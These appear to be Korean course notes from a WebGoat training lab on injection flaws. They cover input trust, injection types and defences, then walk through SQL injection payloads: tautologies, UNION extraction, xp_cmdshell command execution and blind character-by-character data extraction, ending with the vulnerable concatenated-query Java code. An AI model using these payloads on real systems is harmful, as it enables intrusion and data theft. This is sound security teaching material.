C:\FullstackLAB\run.bat 실행 후 이클립스에서 Tomcat 서버를 실행

http://localhost:8080/WebGoat 접속해서 동작을 확인 ⇒ 사용자 이름 / 비밀번호 : webgoat / webgoat








http//host.pc:8080/WebGoat 으로 요청했을 때 리다이렉터 응답(http://host.pc:8080/WebGoat/로 재요청)을 받음

http//host.pc:8080/WebGoat/ 으로 요청 ⇒ 디렉터리 리스팅 옵션 확인 후 기본 페이지를 검색 ⇒ 기본 페이지(index.html)를 응답으로 반환 ⇒ index.html 파일 내용에 attack 페이지로 재요청이 포함되어 있음

http://host.pc:8080/WebGoat/attack 페이지를 요청 ⇒ attack 파일의 내용(또는 실행 결과)을 응답으로 반환

입력 –--> 처리 –--> 출력
- 입력
신뢰할 수 있는 입력 = 믿을 수 있는 곳(안전한 곳)으로 부터 전달된 입력
⇒ 예) 시스템 내부의 값
신뢰할 수 없는 입력 = 믿을 수 없는 곳(안전하지 않은 곳)으로 부터 전달된 입력
⇒ 예) 사용자가 입력한 값 (사용자가 잘못 입력하거나 전달 과정에서 변조될 수 있으므로)- 처리
안전한 처리 = (개발자가) 의도한 데로 동작
안전한 처리를 위해서는 신뢰할 수 있는 입력값을 사용 ,신뢰할 수 없는 입력값을 사용해야 하는 경우, 입력값을 검증, 제한해서 사용
- 유형
SQL Injection ⇐ 입력값이 SQL문을 만들고 실행하는데 사용
XPath Injection ⇐ 입력값이 XPath 구문을 만들고 실행하는데 사용
XQuery Injection ⇐ 입력값이 XQuery 구문을 만들고 실행하는데 사용
Command Injection ⇐ 입력값이 운영체제 명령어 또는 명령어의 일부로 사용
- 방어
1) 입력값에 처리를 조작하는 문자열 포함 여부를 확인하고 사용 ⇒ 입력값 검증, 제한
입력값에 처리를 조작하는 문자열이 포함되어 있는 경우
a) 오류 처리
b) 제거하고 사용
c) 처리를 조작하는 문자열을 일반 문자열로 해석되도록 변경해서 사용 ⇒ 이스케이프 처리
2) 각 기능에서 제공하는 안전한 방법을 사용 ⇒ 구조를 정의하고 정의된 구조에 입력값을 검증된 기능을 통해서 대입하는 방식으로 구현 ⇒ 구조화된 쿼리 실행, 파라미터화된 쿼리 실행

History of OWASP TOP 10
( https://www.hahwul.com/cullinan/history-of-owasp-top-10/)
1) 입력값에 쿼리 조작 문자열 포함 여부를 확인하고 사용
오류 처리
제거하고 사용
안전한 형태로 변경해서 사용
2) PreparedStatement(Query Parameters)와 같은 구조화된 쿼리 실행(파라미터화된 쿼리 실행)을 보장하는 것을 사용
3) 오류 메시지에 상세한 내용(데이터베이스 및 쿼리 구조, 쿼리 실행과 관련한 프로그램 구조 등)이 포함되지 않도록 처리
4) 어플리케이션에서 사용하는 DB 사용자의 권한을 필요한 만큼의 최소한으로 부여
3) 4)은 SQL Injection 공격을 완화시키기 위해서 필요한 방어 기법

정상적인 입력
Enter your last name: Smith
개발자 도구를 이용해서 서버로 전달되는 내용을 분석
attack?Screen=34&menu=1100&account_name=Smith&SUBMIT=Go!
위의 account_name=Smith&SUBMIT=Go!이 POST 방식으로 해당 내용은 요청 본문을 통해서 전달되나, 여기에서는 편의를 위해서 GET 방식(주소를 통해서 전달)으로 묘사

SELECT * FROM user_data WHERE last_name = 'Smith'
SELECT * FROM user_data WHERE last_name = 'Smith' or 'a' = 'a' <= 항상 참이 되는 조건 추가
Enter your last name: Smith' or 'a' = 'a


정상적인 동작
Select your local weather station: Columbia 를 선택하면 101이 station 파라미터 값으로 전달
개발자 도구를 이용해서 소스 코드를 분석
<form accept-charset="UNKNOWN" method="POST" name="form" action="attack?Screen=44&menu=1100" enctype=""><p>Select your local weather station: <select name="station"><option value="101">Columbia</option><option
attack?Screen=44&menu=1100&station=101&SUBMIT=Go!
SELECT * FROM weather_data WHERE station = 101
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
방법1. 개발자 도구를 이용해서 선택되었을 때 서버로 전달되는 값을 조작

방법2. Proxy를 이용해서 서버로 전달되기 전에 값을 변경해서 전달

모든 지역의 날씨 데이터가 조회되는 것을 확인

select * from members where id = ___ ⇐ 사용자가 입력한 ID와 일치하는 회원 정보를 조회해서 제공
입력값으로 에러를 유발하는 값을 전달
생성된 에러 메시지를 통해서 정보를 수집하고 수집한 정보를 이용해서 추가 공격을 계획
' (홑따움표)
select * from members where id = 123'
⇒ ID 컬럼은 숫자형으로 문자열 데이터를 받을 수 없고, 홑따움의 개수가 일치하지 않아서 오류가 발생
쿼리문의 조건식의 결과가 항상 참이 되게 만드는 입력
권한 밖의 데이터에 접근, 조회하는 것이 가능 ⇒ 모든 데이터 조회가 가능
____ or 항상참이되는조건 ⇐ 인젝션이 걸리는 컬럼의 데이터 타입에 맞춰 홑따움표를 추가해야 함
select * from members where id = 123 or 1 = 1 ⇒ members 테이블의 모든 데이터를 조회하는 것이 가능
원래 서비스를 통해서 실행되는 쿼리에 공격자가 알고자 하는 정보를 조회하는 쿼리를 UNION 구문을 이용해서 결합하여 실행
원래 서비스를 통해서 제공되는 정보와 공격자가 알고자 하는 정보가 함께 출력(노출)
select * from members id = 123 ⇒ 정상 입력 → 123 회원의 이름, 나이, 성별, 연락처가 조회되어 출력
select * from members id = 123 and 1 = 2 UNION select 1, 2, 3, 4 from 어떤 테이블 ⇒ 1, 2, 3, 4가 출력
----------------------------------------------------------------------------------------
위의 and 1 = 2 <= 정상 쿼리의 실행 결과가 없도록 만드는 구문
위의 select 1, 2, 3, 4 from 어떤 테이블 <= 공격자가 알고자 하는 정보를 조회하는 쿼리 ⇒ 일반적으로 시스템 테이블을 우선적으로 활용
데이터베이스에서 제공하는 Stored Procdure를 실행하는 구문을 입력값으로 전달해서 실행
테이터베이스의 제어권을 탈취하는 것이 가능
select * from members id = 123 ; exec xp_cmdshell 'cmd.exe /c dir'
----------------------------------------------------------------------------------------
위의 ; <= 쿼리문의 종결을 의미
위의 exec <= Stored Procedure를 실행 일반적으로 시스템 Stored Procedure를 우선적으로 활용
위의 xp_cmdshell <= MS-SQL에서 제공하는 시스템 Stored Procedure로, 매개변수로 전달된 값을 DBMS의 쉘에서 실행하고 그 결과를 반환
위의 'cmd.exe /c dir' <= DBMS의 쉘에서 실행할 명령어 → 현재 디렉터리의 내용을 반환
쿼리 실행 결과에 따라서 서버의 반응이 달라지는 경우
공격자가 원하는 내용을 조회하는 쿼리를 작성해서 전달하고 실행 결과를 보면서 정보를 수집
[정상적인 실행]
select * from members where id = 123 ⇒ 존재하는 ID인 경우 → ID가 123인 사용자의 정보를 제공
select * from members where id = 999 ⇒ 존재하지 않는 ID인 경우 → 존재하지 않습니다. 메시지를 제공
[공격 가능 여부를 확인]
select * from members where id = 123 and 1 = 1 ⇒ ID가 123인 사용자의 정보를 제공
select * from members where id = 123 and 1 = 2 ⇒ 존재하지 않습니다. 메시지를 제공 [공격자가 알고자 하는 정보를 조회하는 쿼리를 전달]
select * from members where id = 123 and 공격자가 알고자하는 정보를 조회하는 쿼리 ⇒ 사용자 정보가 출력되면, 해당 쿼리가 참이고, 오류 메시지가 출력되면 해당 쿼리가 거짓인 것을 알 수 있음
사용자가 입력한 계좌 번호(Account Number)의 유효성(있다, 없다)를 확인해 주는 웹 페이지 해당 계좌가 존재하는 경우, Account number is valid.를 출력하고, 해당 계좌가 존재하지 않는 경우, Invalid account number.를 출력

사용자가 입력한 값은 아래와 같은 형식으로 서버로 전달
attack?Screen=35&menu=1100&account_number=999&SUBMIT=Go!
<form accept-charset="UNKNOWN" method="POST" name="form" action="attack?Screen=35&menu=1100" enctype=""><p>Enter your Account Number: <input name="account_number" type="TEXT" value="999"><input name="SUBMIT" type="SUBMIT" value="Go!"></p><p>Invalid account number.</p></form>
서버에서는 요청 파라미터로 전달된 값을 아래와 같은 쿼리를 만들고 실행하는데 사용 (추측)
select * from accounts where account_number = 999
⇒ 일치하는 결과가 있는 경우 → Account number is valid.
⇒ 일치하는 결과가 없는 경우 → Invalid account number.
공격자가 알고자 하는 정보를 조회하는 쿼리를 생성 ⇒ 문제의 힌트를 이용 (테이블 이름, 컬럼 이름, 조건)
select pin from pins where cc_number = '1111222233334444'
공격자가 알고자 하는 정보를 조회하는 쿼리를 원래 서비스 쿼리에 추가
select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > ???
select from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > 100
select from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > 1000
⇒ 조건을 만족하는 pin 값은 1000 보다 크다
select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > 5000
⇒ 조건을 만족하는 pin 값은 1000 보다 크고 5000 보다 작음
범위를 점점 줄여서 최종적으로 아래 쿼리를 만족하는 숫자를 찾음
select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') = ????
select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') = 2364
⇒ Account number is valid가 출력
pins 테이블에서 cc_number 컬럼의 값이 4321432143214321와 일치하는 name 컬럼의 값을 찾으시오.
name컬럼 : 문자열 타입의 데이터를 저장하는 컬럼

select * from accounts where account_number = 102 and (select name from pins where cc_number = '4321432143214321') = '?????'
select * from accounts where account_number = 102 and (select substr(name, 1, 1) from pins where cc_number = '4321432143214321') = '?'
select * from accounts where account_number = 102 and (select substr(name, 2, 1) from pins where cc_number = '4321432143214321') = '?'
select * from accounts where account_number = 102 and (select ascii(substr(name, 1, 1)) from pins where cc_number = '4321432143214321') < 46
select * from accounts where account_number = 102 and (select name from pins where cc_number = '4321432143214321') = 'Jill'
Ctrl + Shift + R (Open Resource, 열려 있는 프로젝트에서 특정 패턴의 파일을 검색해서 열어주는 도구)
String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); <= 요청 파라미터 중 ACCT_NUM 파라미터의 값을 가져와서 반환 만약 파라미터 또는 파라미터의 값이 없는 경우 101을 반환
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; <= 문자열 결합 방식으로 쿼리를 생성
Statement statement = connection.createStatement( ⇐ Statement 구문을 통해서
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ⇐ 만들어진 쿼리를 그대로 실행